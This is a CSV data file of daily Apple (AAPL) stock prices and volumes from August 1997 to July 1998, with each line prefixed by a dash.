-1997-08-11,0.9397321343421936,0.9441964030265808,0.8392857313156128,0.8772321343421936,0.7632806897163391,387749600.0,AAPL
-1997-08-12,0.859375,0.8660714030265808,0.78125,0.7879464030265808,0.6855931878089905,262099600.0,AAPL
-1997-08-13,0.7946428656578064,0.8526785969734192,0.7299107313156128,0.84375,0.7341476678848267,300356000.0,AAPL
-1997-08-14,0.84375,0.8660714030265808,0.8102678656578064,0.8214285969734192,0.7147256135940552,108612000.0,AAPL
-1997-08-15,0.8258928656578064,0.8370535969734192,0.8147321343421936,0.8303571343421936,0.7224945425987244,65240000.0,AAPL
-1997-08-18,0.8325892686843872,0.8482142686843872,0.8125,0.84375,0.7341476678848267,54460000.0,AAPL
-1997-08-19,0.8459821343421936,0.875,0.8325892686843872,0.8727678656578064,0.7593961358070374,72290400.0,AAPL
-1997-08-20,0.8727678656578064,0.8973214030265808,0.8638392686843872,0.8794642686843872,0.7652228474617004,81076800.0,AAPL
-1997-08-21,0.875,0.8816964030265808,0.8526785969734192,0.8571428656578064,0.7458008527755737,64820000.0,AAPL
-1997-08-22,0.8370535969734192,0.8571428656578064,0.8348214030265808,0.84375,0.7341476678848267,56907200.0,AAPL
-1997-08-25,0.84375,0.8459821343421936,0.8191964030265808,0.8236607313156128,0.716667890548706,34658400.0,AAPL
-1997-08-26,0.8080357313156128,0.8214285969734192,0.7901785969734192,0.7946428656578064,0.6914195418357849,56551600.0,AAPL
-1997-08-27,0.7991071343421936,0.8125,0.78125,0.8102678656578064,0.7050148248672485,47658800.0,AAPL
-1997-08-28,0.7901785969734192,0.8035714030265808,0.7857142686843872,0.7857142686843872,0.6836507320404053,23917600.0,AAPL
-1997-08-29,0.7790178656578064,0.7857142686843872,0.7678571343421936,0.7767857313156128,0.6758819818496704,27417600.0,AAPL
-1997-09-02,0.7857142686843872,0.8058035969734192,0.7834821343421936,0.7991071343421936,0.6953038573265076,46510800.0,AAPL
-1997-09-03,0.7991071343421936,0.8303571343421936,0.796875,0.8035714030265808,0.6991884112358093,71033200.0,AAPL
-1997-09-04,0.8058035969734192,0.8169642686843872,0.7946428656578064,0.8035714030265808,0.6991884112358093,30634800.0,AAPL
-1997-09-05,0.8080357313156128,0.8169642686843872,0.7857142686843872,0.7924107313156128,0.6894772052764893,34176800.0,AAPL
-1997-09-08,0.7946428656578064,0.7946428656578064,0.765625,0.7678571343421936,0.6681132912635803,43789200.0,AAPL
-1997-09-09,0.7611607313156128,0.78125,0.7589285969734192,0.7790178656578064,0.6778241395950317,39757200.0,AAPL
-1997-09-10,0.7767857313156128,0.8258928656578064,0.7745535969734192,0.8191964030265808,0.7127836346626282,68516000.0,AAPL
-1997-09-11,0.8169642686843872,0.8214285969734192,0.7879464030265808,0.7991071343421936,0.6953038573265076,52469200.0,AAPL
-1997-09-12,0.7924107313156128,0.7946428656578064,0.765625,0.7879464030265808,0.6855931878089905,28420000.0,AAPL
-1997-09-15,0.78125,0.7901785969734192,0.7678571343421936,0.7678571343421936,0.6681132912635803,24228400.0,AAPL
-1997-09-16,0.7879464030265808,0.7907366156578064,0.7767857313156128,0.7834821343421936,0.6817085146903992,33555200.0,AAPL
-1997-09-17,0.7857142686843872,0.7857142686843872,0.7745535969734192,0.7790178656578064,0.6778241395950317,21691600.0,AAPL
-1997-09-18,0.7678571343421936,0.8035714030265808,0.7678571343421936,0.796875,0.6933616995811462,42291200.0,AAPL
-1997-09-19,0.7924107313156128,0.7924107313156128,0.7767857313156128,0.7834821343421936,0.6817085146903992,23732800.0,AAPL
-1997-09-22,0.7901785969734192,0.8236607313156128,0.7857142686843872,0.8147321343421936,0.708899199962616,50092000.0,AAPL
-1997-09-23,0.7946428656578064,0.7946428656578064,0.7745535969734192,0.7767857313156128,0.6758819818496704,50134000.0,AAPL
-1997-09-24,0.7745535969734192,0.7767857313156128,0.7633928656578064,0.7678571343421936,0.6681132912635803,55608000.0,AAPL
-1997-09-25,0.7611607313156128,0.7767857313156128,0.75,0.7544642686843872,0.656460165977478,55846000.0,AAPL
-1997-09-26,0.7678571343421936,0.7834821343421936,0.7544642686843872,0.7611607313156128,0.6622866988182068,52080000.0,AAPL
-1997-09-29,0.7745535969734192,0.7946428656578064,0.7700892686843872,0.7879464030265808,0.6855931878089905,41809600.0,AAPL
-1997-09-30,0.7857142686843872,0.796875,0.7745535969734192,0.7745535969734192,0.6739397644996643,35142800.0,AAPL
-1997-10-01,0.7745535969734192,0.7767857313156128,0.7633928656578064,0.7689732313156128,0.6690844893455505,32617200.0,AAPL
-1997-10-02,0.765625,0.7857142686843872,0.7633928656578064,0.7834821343421936,0.6817085146903992,33852000.0,AAPL
-1997-10-03,0.7857142686843872,0.7946428656578064,0.7745535969734192,0.7901785969734192,0.6875352263450623,40558000.0,AAPL
-1997-10-06,0.7924107313156128,0.7946428656578064,0.7745535969734192,0.7834821343421936,0.6817085146903992,23324000.0,AAPL
-1997-10-07,0.78125,0.7857142686843872,0.7790178656578064,0.7790178656578064,0.6778241395950317,27322400.0,AAPL
-1997-10-08,0.7767857313156128,0.7790178656578064,0.7611607313156128,0.7678571343421936,0.6681132912635803,27210400.0,AAPL
-1997-10-09,0.7589285969734192,0.8035714030265808,0.7566964030265808,0.7767857313156128,0.6758819818496704,46832800.0,AAPL
-1997-10-10,0.7678571343421936,0.8125,0.7678571343421936,0.8102678656578064,0.7050148248672485,67600400.0,AAPL
-1997-10-13,0.8125,0.8169642686843872,0.7924107313156128,0.8102678656578064,0.7050148248672485,39656400.0,AAPL
-1997-10-14,0.8102678656578064,0.8125,0.7924107313156128,0.8102678656578064,0.7050148248672485,41454000.0,AAPL
-1997-10-15,0.7901785969734192,0.8839285969734192,0.7901785969734192,0.8504464030265808,0.7399743795394897,202717200.0,AAPL
-1997-10-16,0.7544642686843872,0.7879464030265808,0.7455357313156128,0.7678571343421936,0.6681132912635803,184797200.0,AAPL
-1997-10-17,0.7544642686843872,0.7544642686843872,0.7098214030265808,0.71875,0.6253851056098938,109667600.0,AAPL
-1997-10-20,0.71875,0.7209821343421936,0.6651785969734192,0.6674107313156128,0.5807145833969116,102958800.0,AAPL
-1997-10-21,0.6741071343421936,0.6897321343421936,0.6674107313156128,0.6808035969734192,0.5923677682876587,118818000.0,AAPL
-1997-10-22,0.6808035969734192,0.6875,0.6607142686843872,0.6629464030265808,0.5768303275108337,37794400.0,AAPL
-1997-10-23,0.6428571343421936,0.6495535969734192,0.6339285969734192,0.6339285969734192,0.5515819191932678,46695600.0,AAPL
-1997-10-24,0.6473214030265808,0.65625,0.5892857313156128,0.5915178656578064,0.5146803855895996,97059200.0,AAPL
-1997-10-27,0.5982142686843872,0.6473214030265808,0.5982142686843872,0.5982142686843872,0.5205066800117493,82339600.0,AAPL
-1997-10-28,0.5714285969734192,0.6607142686843872,0.5669642686843872,0.6473214030265808,0.5632350444793701,85828400.0,AAPL
-1997-10-29,0.6584821343421936,0.6607142686843872,0.6160714030265808,0.625,0.5438131093978882,44396800.0,AAPL
-1997-10-30,0.609375,0.6272321343421936,0.5892857313156128,0.5892857313156128,0.5127379298210144,47238800.0,AAPL
-1997-10-31,0.6205357313156128,0.6205357313156128,0.59375,0.6082589030265808,0.5292466878890991,66771600.0,AAPL
-1997-11-03,0.6272321343421936,0.6339285969734192,0.609375,0.6205357313156128,0.5399288535118103,31502800.0,AAPL
-1997-11-04,0.6339285969734192,0.6473214030265808,0.625,0.640625,0.5574085116386414,42148400.0,AAPL
-1997-11-05,0.6517857313156128,0.6651785969734192,0.6450892686843872,0.65625,0.571003794670105,96779200.0,AAPL
-1997-11-06,0.6741071343421936,0.6964285969734192,0.6741071343421936,0.6785714030265808,0.5904255509376526,154271600.0,AAPL
-1997-11-07,0.6741071343421936,0.7142857313156128,0.6696428656578064,0.7053571343421936,0.613731861114502,198903600.0,AAPL
-1997-11-10,0.75,0.7678571343421936,0.6607142686843872,0.6674107313156128,0.5807145833969116,349560400.0,AAPL
-1997-11-11,0.6785714030265808,0.6785714030265808,0.6473214030265808,0.65625,0.571003794670105,83120800.0,AAPL
-1997-11-12,0.6450892686843872,0.6607142686843872,0.6272321343421936,0.6294642686843872,0.5476974844932556,52015600.0,AAPL
-1997-11-13,0.6428571343421936,0.6450892686843872,0.625,0.6428571343421936,0.5593505501747131,64380400.0,AAPL
-1997-11-14,0.6517857313156128,0.6607142686843872,0.6428571343421936,0.6584821343421936,0.572945773601532,33759600.0,AAPL
-1997-11-17,0.6741071343421936,0.6763392686843872,0.6545758843421936,0.6607142686843872,0.5748880505561829,51256800.0,AAPL
-1997-11-18,0.6607142686843872,0.6607142686843872,0.6450892686843872,0.6450892686843872,0.5612925887107849,36660400.0,AAPL
-1997-11-19,0.6383928656578064,0.6540178656578064,0.6383928656578064,0.6517857313156128,0.5671194195747375,19896800.0,AAPL
-1997-11-20,0.6495535969734192,0.6651785969734192,0.6473214030265808,0.6607142686843872,0.5748880505561829,32043200.0,AAPL
-1997-11-21,0.6651785969734192,0.6674107313156128,0.6428571343421936,0.6495535969734192,0.5651770830154419,24444000.0,AAPL
-1997-11-24,0.6272321343421936,0.6428571343421936,0.625,0.6294642686843872,0.5476974844932556,39337200.0,AAPL
-1997-11-25,0.6316964030265808,0.6383928656578064,0.6026785969734192,0.6205357313156128,0.5399288535118103,51357600.0,AAPL
-1997-11-26,0.6205357313156128,0.6316964030265808,0.6160714030265808,0.625,0.5438131093978882,15103200.0,AAPL
-1997-11-28,0.6294642686843872,0.6383928656578064,0.6227678656578064,0.6339285969734192,0.5515819191932678,10329200.0,AAPL
-1997-12-01,0.6316964030265808,0.640625,0.6160714030265808,0.6339285969734192,0.5515819191932678,21809200.0,AAPL
-1997-12-02,0.6205357313156128,0.625,0.5669642686843872,0.5669642686843872,0.49331626296043396,99204000.0,AAPL
-1997-12-03,0.5736607313156128,0.5758928656578064,0.5602678656578064,0.5625,0.48943185806274414,85764000.0,AAPL
-1997-12-04,0.5714285969734192,0.5714285969734192,0.5580357313156128,0.5580357313156128,0.48554739356040955,49910000.0,AAPL
-1997-12-05,0.5558035969734192,0.5714285969734192,0.5558035969734192,0.5647321343421936,0.49137386679649353,55367200.0,AAPL
-1997-12-08,0.5558035969734192,0.5625,0.5491071343421936,0.5558035969734192,0.4836050868034363,33395600.0,AAPL
-1997-12-09,0.5535714030265808,0.5602678656578064,0.5357142686843872,0.5446428656578064,0.473894327878952,60762800.0,AAPL
-1997-12-10,0.5379464030265808,0.5379464030265808,0.5178571343421936,0.5267857313156128,0.45835670828819275,48720000.0,AAPL
-1997-12-11,0.515625,0.5200892686843872,0.4955357015132904,0.5200892686843872,0.452530175447464,64234800.0,AAPL
-1997-12-12,0.5267857313156128,0.53125,0.5,0.5044642686843872,0.438934862613678,40140800.0,AAPL
-1997-12-15,0.5044642686843872,0.5089285969734192,0.4910714328289032,0.4977678656578064,0.4331083595752716,41473600.0,AAPL
-1997-12-16,0.5,0.5133928656578064,0.5,0.5111607313156128,0.4447614550590515,46407200.0,AAPL
-1997-12-17,0.5111607313156128,0.5200892686843872,0.4977678656578064,0.4977678656578064,0.4331083595752716,66323600.0,AAPL
-1997-12-18,0.5,0.5,0.4910714328289032,0.4933035671710968,0.4292238652706146,50512000.0,AAPL
-1997-12-19,0.484375,0.4955357015132904,0.4732142984867096,0.4888392984867096,0.4253394901752472,47653200.0,AAPL
-1997-12-22,0.4955357015132904,0.5,0.4709821343421936,0.4754464328289032,0.4136864244937897,39869200.0,AAPL
-1997-12-23,0.46875,0.4754464328289032,0.4620535671710968,0.4620535671710968,0.4020332396030426,114707600.0,AAPL
-1997-12-24,0.4642857015132904,0.4732142984867096,0.4642857015132904,0.46875,0.4078598618507385,24458000.0,AAPL
-1997-12-26,0.4665178656578064,0.4776785671710968,0.4642857015132904,0.4754464328289032,0.4136864244937897,26969600.0,AAPL
-1997-12-29,0.4754464328289032,0.4799107015132904,0.4598214328289032,0.46875,0.4078598618507385,69549200.0,AAPL
-1997-12-30,0.4642857015132904,0.4799107015132904,0.4553571343421936,0.4709821343421936,0.40980201959609985,85626800.0,AAPL
-1997-12-31,0.46875,0.4866071343421936,0.4620535671710968,0.46875,0.4078598618507385,101589600.0,AAPL
-1998-01-02,0.4866071343421936,0.5803571343421936,0.4821428656578064,0.5803571343421936,0.5049692988395691,179527600.0,AAPL
-1998-01-05,0.5892857313156128,0.5915178656578064,0.5424107313156128,0.5669642686843872,0.49331626296043396,162968400.0,AAPL
-1998-01-06,0.5691964030265808,0.7142857313156128,0.5267857313156128,0.6763392686843872,0.5884833931922913,453118400.0,AAPL
-1998-01-07,0.671875,0.6785714030265808,0.6183035969734192,0.625,0.5438131093978882,260405600.0,AAPL
-1998-01-08,0.6227678656578064,0.6651785969734192,0.6049107313156128,0.6495535969734192,0.5651770830154419,193505200.0,AAPL
-1998-01-09,0.6473214030265808,0.6919642686843872,0.625,0.6495535969734192,0.5651770830154419,221636800.0,AAPL
-1998-01-12,0.6227678656578064,0.6651785969734192,0.6116071343421936,0.6517857313156128,0.5671194195747375,129099600.0,AAPL
-1998-01-13,0.6651785969734192,0.7008928656578064,0.6607142686843872,0.6964285969734192,0.6059631109237671,159213600.0,AAPL
-1998-01-14,0.7098214030265808,0.7120535969734192,0.6875,0.7053571343421936,0.613731861114502,147316400.0,AAPL
-1998-01-15,0.6852678656578064,0.7053571343421936,0.6651785969734192,0.6852678656578064,0.5962522625923157,139818000.0,AAPL
-1998-01-16,0.6941964030265808,0.6941964030265808,0.6674107313156128,0.671875,0.5845991969108582,61588800.0,AAPL
-1998-01-20,0.6808035969734192,0.6897321343421936,0.6651785969734192,0.6808035969734192,0.5923677682876587,60390400.0,AAPL
-1998-01-21,0.6696428656578064,0.6808035969734192,0.6629464030265808,0.6752232313156128,0.5875123143196106,47552400.0,AAPL
-1998-01-22,0.6674107313156128,0.7053571343421936,0.6651785969734192,0.6875,0.5981944799423218,82432000.0,AAPL
-1998-01-23,0.6919642686843872,0.703125,0.6875,0.6964285969734192,0.6059631109237671,58290400.0,AAPL
-1998-01-26,0.6941964030265808,0.6986607313156128,0.671875,0.6941964030265808,0.6040210723876953,36610000.0,AAPL
-1998-01-27,0.6852678656578064,0.703125,0.6785714030265808,0.6830357313156128,0.5943098664283752,28058800.0,AAPL
-1998-01-28,0.6852678656578064,0.6919642686843872,0.6651785969734192,0.6852678656578064,0.5962522625923157,37780400.0,AAPL
-1998-01-29,0.6763392686843872,0.6830357313156128,0.6607142686843872,0.6607142686843872,0.5748880505561829,52970400.0,AAPL
-1998-01-30,0.6540178656578064,0.6741071343421936,0.6517857313156128,0.6540178656578064,0.5690615177154541,40611200.0,AAPL
-1998-02-02,0.6607142686843872,0.6607142686843872,0.6205357313156128,0.6316964030265808,0.5496396422386169,159185600.0,AAPL
-1998-02-03,0.6316964030265808,0.6651785969734192,0.6316964030265808,0.6540178656578064,0.5690615177154541,100654400.0,AAPL
-1998-02-04,0.6450892686843872,0.6607142686843872,0.6428571343421936,0.6517857313156128,0.5671194195747375,42548800.0,AAPL
-1998-02-05,0.6517857313156128,0.6607142686843872,0.6428571343421936,0.6540178656578064,0.5690615177154541,59567200.0,AAPL
-1998-02-06,0.65625,0.6674107313156128,0.6517857313156128,0.6607142686843872,0.5748880505561829,50584800.0,AAPL
-1998-02-09,0.65625,0.6964285969734192,0.65625,0.6852678656578064,0.5962522625923157,123667600.0,AAPL
-1998-02-10,0.6830357313156128,0.6986607313156128,0.6808035969734192,0.6941964030265808,0.6040210723876953,105504000.0,AAPL
-1998-02-11,0.6964285969734192,0.6964285969734192,0.6741071343421936,0.6785714030265808,0.5904255509376526,52917200.0,AAPL
-1998-02-12,0.6830357313156128,0.6941964030265808,0.6808035969734192,0.6919642686843872,0.6020786762237549,50937600.0,AAPL
-1998-02-13,0.6852678656578064,0.7098214030265808,0.6785714030265808,0.6964285969734192,0.6059631109237671,51998800.0,AAPL
-1998-02-17,0.6964285969734192,0.7053571343421936,0.6964285969734192,0.7008928656578064,0.6098475456237793,45687600.0,AAPL
-1998-02-18,0.6986607313156128,0.7410714030265808,0.6986607313156128,0.734375,0.6389803886413574,123648000.0,AAPL
-1998-02-19,0.7455357313156128,0.7477678656578064,0.7142857313156128,0.7299107313156128,0.63509601354599,99915200.0,AAPL
-1998-02-20,0.7321428656578064,0.734375,0.7075892686843872,0.7142857313156128,0.6215008497238159,81354000.0,AAPL
-1998-02-23,0.71875,0.7723214030265808,0.7142857313156128,0.7589285969734192,0.6603444814682007,119372400.0,AAPL
-1998-02-24,0.7611607313156128,0.7633928656578064,0.7410714030265808,0.7611607313156128,0.6622866988182068,114147600.0,AAPL
-1998-02-25,0.7611607313156128,0.8125,0.7477678656578064,0.796875,0.6933616995811462,178166800.0,AAPL
-1998-02-26,0.796875,0.8415178656578064,0.78125,0.8392857313156128,0.7302632927894592,148783600.0,AAPL
-1998-02-27,0.8325892686843872,0.8526785969734192,0.8058035969734192,0.84375,0.7341476678848267,129900400.0,AAPL
-1998-03-02,0.8415178656578064,0.8415178656578064,0.7946428656578064,0.8125,0.7069570422172546,100111200.0,AAPL
-1998-03-03,0.78125,0.828125,0.7723214030265808,0.8258928656578064,0.7186100482940674,83518400.0,AAPL
-1998-03-04,0.8169642686843872,0.8839285969734192,0.8169642686843872,0.8727678656578064,0.7593961358070374,204456000.0,AAPL
-1998-03-05,0.8303571343421936,0.8660714030265808,0.8258928656578064,0.859375,0.7477428913116455,168781200.0,AAPL
-1998-03-06,0.8526785969734192,0.875,0.8348214030265808,0.8727678656578064,0.7593961358070374,166616800.0,AAPL
-1998-03-09,0.8482142686843872,0.8683035969734192,0.8035714030265808,0.8125,0.7069570422172546,143732400.0,AAPL
-1998-03-10,0.8214285969734192,0.875,0.8191964030265808,0.859375,0.7477428913116455,178225600.0,AAPL
-1998-03-11,0.8973214030265808,0.9352678656578064,0.8772321343421936,0.9330357313156128,0.8118351101875305,303584400.0,AAPL
-1998-03-12,0.9330357313156128,0.9642857313156128,0.9129464030265808,0.9642857313156128,0.8390259742736816,186090800.0,AAPL
-1998-03-13,0.9732142686843872,0.9732142686843872,0.9375,0.96875,0.8429102301597595,141540000.0,AAPL
-1998-03-16,0.96875,0.9732142686843872,0.9352678656578064,0.953125,0.8293150067329407,100590000.0,AAPL
-1998-03-17,0.9464285969734192,0.953125,0.9241071343421936,0.9408482313156128,0.818632960319519,102564000.0,AAPL
-1998-03-18,0.9285714030265808,0.9620535969734192,0.9285714030265808,0.9620535969734192,0.8370836973190308,69249600.0,AAPL
-1998-03-19,0.9598214030265808,0.9620535969734192,0.9486607313156128,0.9553571343421936,0.8312572240829468,40014800.0,AAPL
-1998-03-20,0.953125,0.9598214030265808,0.9285714030265808,0.9419642686843872,0.8196040391921997,53869200.0,AAPL
-1998-03-23,0.9263392686843872,0.9375,0.8794642686843872,0.9330357313156128,0.8118351101875305,103684000.0,AAPL
-1998-03-24,0.9419642686843872,1.0,0.9375,1.0,0.8701008558273315,168982800.0,AAPL
-1998-03-25,0.9866071343421936,0.9910714030265808,0.9419642686843872,0.9698660969734192,0.8438813090324402,96843600.0,AAPL
-1998-03-26,0.9553571343421936,0.9642857313156128,0.9441964030265808,0.9486607313156128,0.8254305124282837,50741600.0,AAPL
-1998-03-27,0.9508928656578064,0.9754464030265808,0.9419642686843872,0.9620535969734192,0.8370836973190308,63898800.0,AAPL
-1998-03-30,0.9553571343421936,0.9821428656578064,0.9553571343421936,0.9799107313156128,0.8526212573051453,62675200.0,AAPL
-1998-03-31,0.9799107313156128,0.9933035969734192,0.9732142686843872,0.9821428656578064,0.8545634746551514,66724000.0,AAPL
-1998-04-01,0.9799107313156128,0.9933035969734192,0.9665178656578064,0.9821428656578064,0.8545634746551514,46720800.0,AAPL
-1998-04-02,0.9754464030265808,0.9799107313156128,0.9620535969734192,0.9754464030265808,0.8487366437911987,48577200.0,AAPL
-1998-04-03,0.96875,0.9732142686843872,0.9575892686843872,0.9665178656578064,0.8409680724143982,50766800.0,AAPL
-1998-04-06,0.9642857313156128,0.9642857313156128,0.9352678656578064,0.9375,0.815719723701477,86898000.0,AAPL
-1998-04-07,0.921875,0.9285714030265808,0.8883928656578064,0.9107142686843872,0.7924133539199829,73175200.0,AAPL
-1998-04-08,0.9017857313156128,0.90625,0.8816964030265808,0.8928571343421936,0.7768757343292236,56299600.0,AAPL
-1998-04-09,0.8950892686843872,0.9241071343421936,0.8928571343421936,0.9151785969734192,0.7962977290153503,42576800.0,AAPL
-1998-04-13,0.9151785969734192,0.953125,0.8928571343421936,0.9441964030265808,0.821546196937561,72074800.0,AAPL
-1998-04-14,0.9419642686843872,0.9732142686843872,0.9419642686843872,0.9620535969734192,0.8370836973190308,81961600.0,AAPL
-1998-04-15,0.9709821343421936,0.9821428656578064,0.9508928656578064,0.9799107313156128,0.8526212573051453,139378400.0,AAPL
-1998-04-16,1.0446428060531616,1.0580357313156128,1.0066964626312256,1.0223214626312256,0.889522910118103,459488400.0,AAPL
-1998-04-17,1.0200892686843872,1.0223214626312256,0.9888392686843872,0.9977678656578064,0.8681586980819702,148041600.0,AAPL
-1998-04-20,0.9866071343421936,1.0535714626312256,0.984375,1.0357142686843872,0.9011759757995605,129444000.0,AAPL
-1998-04-21,1.0379464626312256,1.0401785373687744,1.0178571939468384,1.0357142686843872,0.9011759757995605,87007200.0,AAPL
-1998-04-22,1.0267857313156128,1.0357142686843872,0.9821428656578064,0.9821428656578064,0.8545634746551514,71237600.0,AAPL
-1998-04-23,0.9799107313156128,1.0357142686843872,0.9709821343421936,0.9888392686843872,0.8603900074958801,118823600.0,AAPL
-1998-04-24,0.9910714030265808,1.0089285373687744,0.9821428656578064,0.9977678656578064,0.8681586980819702,53886000.0,AAPL
-1998-04-27,0.9553571343421936,0.9910714030265808,0.9553571343421936,0.9910714030265808,0.8623321652412415,102449200.0,AAPL
-1998-04-28,0.9955357313156128,1.0,0.9375,0.9620535969734192,0.8370836973190308,59292800.0,AAPL
-1998-04-29,0.9620535969734192,0.9799107313156128,0.9553571343421936,0.9642857313156128,0.8390259742736816,47384400.0,AAPL
-1998-04-30,0.9776785969734192,0.9866071343421936,0.9665178656578064,0.9776785969734192,0.8506789803504944,44987600.0,AAPL
-1998-05-01,0.9821428656578064,1.0089285373687744,0.9598214030265808,1.0,0.8701008558273315,46018000.0,AAPL
-1998-05-04,1.03125,1.0535714626312256,1.03125,1.0379464626312256,0.9031181335449219,142786000.0,AAPL
-1998-05-05,1.0446428060531616,1.0669642686843872,1.0401785373687744,1.0602678060531616,0.9225399494171143,104820800.0,AAPL
-1998-05-06,1.0669642686843872,1.0870535373687744,1.0446428060531616,1.0825892686843872,0.9419620037078857,224252000.0,AAPL
-1998-05-07,1.0915178060531616,1.09375,1.0669642686843872,1.078125,0.9380775690078735,138224800.0,AAPL
-1998-05-08,1.0736607313156128,1.0892857313156128,1.0691964626312256,1.0870535373687744,0.9458465576171875,67704000.0,AAPL
-1998-05-11,1.1026785373687744,1.1294642686843872,1.0982142686843872,1.1049107313156128,0.9613838195800781,166255600.0,AAPL
-1998-05-12,1.0915178060531616,1.0982142686843872,1.0691964626312256,1.0758928060531616,0.9361354112625122,64453200.0,AAPL
-1998-05-13,1.0736607313156128,1.1004464626312256,1.0580357313156128,1.0870535373687744,0.9458465576171875,78604400.0,AAPL
-1998-05-14,1.0848214626312256,1.0870535373687744,1.0625,1.0736607313156128,0.9341931343078613,40670000.0,AAPL
-1998-05-15,1.0736607313156128,1.0848214626312256,1.0446428060531616,1.0558035373687744,0.9186557531356812,68146400.0,AAPL
-1998-05-18,1.0491071939468384,1.0558035373687744,1.0133928060531616,1.0178571939468384,0.8856388330459595,58097200.0,AAPL
-1998-05-19,1.0334821939468384,1.0513392686843872,1.0290178060531616,1.0491071939468384,0.9128291010856628,54566400.0,AAPL
-1998-05-20,1.0580357313156128,1.0669642686843872,1.0267857313156128,1.0558035373687744,0.9186557531356812,47544000.0,AAPL
-1998-05-21,1.0558035373687744,1.0602678060531616,1.0223214626312256,1.03125,0.8972914814949036,32748800.0,AAPL
-1998-05-22,1.0267857313156128,1.0267857313156128,0.9754464030265808,0.9955357313156128,0.8662167191505432,66648400.0,AAPL
-1998-05-26,1.0022321939468384,1.0089285373687744,0.9508928656578064,0.953125,0.8293150067329407,77943600.0,AAPL
-1998-05-27,0.9174107313156128,0.9575892686843872,0.9151785969734192,0.9553571343421936,0.8312572240829468,92548400.0,AAPL
-1998-05-28,0.9553571343421936,0.9955357313156128,0.9553571343421936,0.9799107313156128,0.8526212573051453,74622800.0,AAPL
-1998-05-29,0.9821428656578064,0.984375,0.9441964030265808,0.9508928656578064,0.8273728489875793,54180000.0,AAPL
-1998-06-01,0.9464285969734192,0.9866071343421936,0.9151785969734192,0.9375,0.815719723701477,79923200.0,AAPL
-1998-06-02,0.9441964030265808,0.9754464030265808,0.9285714030265808,0.9598214030265808,0.8351414203643799,44825200.0,AAPL
-1998-06-03,0.96875,0.9732142686843872,0.9352678656578064,0.9397321343421936,0.8176618218421936,36285200.0,AAPL
-1998-06-04,0.9508928656578064,0.9598214030265808,0.921875,0.9575892686843872,0.8331993222236633,39034800.0,AAPL
-1998-06-05,0.9598214030265808,0.9732142686843872,0.9419642686843872,0.9598214030265808,0.8351414203643799,30830800.0,AAPL
-1998-06-08,0.9642857313156128,0.9888392686843872,0.9575892686843872,0.9732142686843872,0.846794605255127,31656800.0,AAPL
-1998-06-09,0.9776785969734192,1.0178571939468384,0.9776785969734192,1.0089285373687744,0.877869725227356,68936000.0,AAPL
-1998-06-10,1.0,1.0357142686843872,0.9866071343421936,1.0022321939468384,0.8720430731773376,57307600.0,AAPL
-1998-06-11,1.0066964626312256,1.0223214626312256,0.9933035969734192,0.9933035969734192,0.8642745018005371,45029600.0,AAPL
-1998-06-12,0.9866071343421936,1.0089285373687744,0.9776785969734192,1.0044642686843872,0.873985230922699,55963600.0,AAPL
-1998-06-15,0.9732142686843872,1.0089285373687744,0.9732142686843872,0.9821428656578064,0.8545634746551514,34165600.0,AAPL
-1998-06-16,0.9888392686843872,1.0044642686843872,0.9754464030265808,1.0,0.8701008558273315,32421200.0,AAPL
-1998-06-17,1.0,1.0200892686843872,0.9977678656578064,1.0044642686843872,0.873985230922699,46793600.0,AAPL
-1998-06-18,0.9910714030265808,1.0022321939468384,0.9709821343421936,0.9754464030265808,0.8487366437911987,29999200.0,AAPL
-1998-06-19,0.9776785969734192,0.9799107313156128,0.9553571343421936,0.9665178656578064,0.8409680724143982,34389600.0,AAPL
-1998-06-22,0.9642857313156128,0.984375,0.9553571343421936,0.9776785969734192,0.8506789803504944,33642000.0,AAPL
-1998-06-23,0.9799107313156128,1.0044642686843872,0.9732142686843872,0.9933035969734192,0.8642745018005371,57764000.0,AAPL
-1998-06-24,0.9910714030265808,1.0223214626312256,0.9754464030265808,1.0089285373687744,0.877869725227356,68448800.0,AAPL
-1998-06-25,1.0200892686843872,1.0290178060531616,1.0111607313156128,1.0200892686843872,0.8875807523727417,47952800.0,AAPL
-1998-06-26,1.0178571939468384,1.0223214626312256,0.9910714030265808,1.0066964626312256,0.8759273886680603,27778800.0,AAPL
-1998-06-29,1.0089285373687744,1.0290178060531616,1.0022321939468384,1.0245535373687744,0.8914650678634644,41546400.0,AAPL
-1998-06-30,1.0223214626312256,1.0290178060531616,1.0044642686843872,1.0245535373687744,0.8914650678634644,32765600.0,AAPL
-1998-07-01,1.03125,1.0714285373687744,1.0178571939468384,1.0691964626312256,0.930308997631073,78528800.0,AAPL
-1998-07-02,1.0602678060531616,1.0736607313156128,1.0357142686843872,1.0357142686843872,0.9011759757995605,74527600.0,AAPL
-1998-07-06,1.0535714626312256,1.0848214626312256,1.0401785373687744,1.0848214626312256,0.9439039826393127,67737600.0,AAPL
-1998-07-07,1.0848214626312256,1.1026785373687744,1.0714285373687744,1.0892857313156128,0.947788655757904,60368000.0,AAPL
-1998-07-08,1.0982142686843872,1.1763392686843872,1.0959821939468384,1.1629464626312256,1.0118807554244995,233203600.0,AAPL
-1998-07-09,1.1763392686843872,1.2008928060531616,1.1227678060531616,1.1316964626312256,0.9846900701522827,141652000.0,AAPL
-1998-07-10,1.1495535373687744,1.1651785373687744,1.1339285373687744,1.1450892686843872,0.9963434338569641,75630800.0,AAPL
-1998-07-13,1.140625,1.21875,1.1383928060531616,1.2120535373687744,1.0546090602874756,178847200.0,AAPL
-1998-07-14,1.2120535373687744,1.2142857313156128,1.1830357313156128,1.1941964626312256,1.0390715599060059,137132800.0,AAPL
-1998-07-15,1.203125,1.2388392686843872,1.1964285373687744,1.2299107313156128,1.0701465606689453,148741600.0,AAPL
-1998-07-16,1.3526785373687744,1.3616071939468384,1.2767857313156128,1.3392857313156128,1.165313959121704,640337600.0,AAPL
-1998-07-17,1.3303571939468384,1.3303571939468384,1.2924107313156128,1.3169642686843872,1.145891547203064,157388000.0,AAPL
-1998-07-20,1.3058035373687744,1.3080357313156128,1.2678571939468384,1.2946428060531616,1.1264700889587402,95972800.0,AAPL
-1998-07-21,1.2901785373687744,1.3214285373687744,1.2700892686843872,1.2723214626312256,1.1070477962493896,82376000.0,AAPL
-1998-07-22,1.2477678060531616,1.2723214626312256,1.2232142686843872,1.25,1.0876262187957764,70182000.0,AAPL
-1998-07-23,1.2433035373687744,1.2723214626312256,1.2410714626312256,1.2477678060531616,1.0856841802597046,63282800.0,AAPL
-1998-07-24,1.2633928060531616,1.2678571939468384,1.2075892686843872,1.2388392686843872,1.0779153108596802,67821600.0,AAPL
-1998-07-27,1.2232142686843872,1.2455357313156128,1.1875,1.2299107313156128,1.0701465606689453,53558400.0,AAPL
-1998-07-28,1.2165178060531616,1.2366071939468384,1.1785714626312256,1.2008928060531616,1.0448979139328003,56344400.0,AAPL
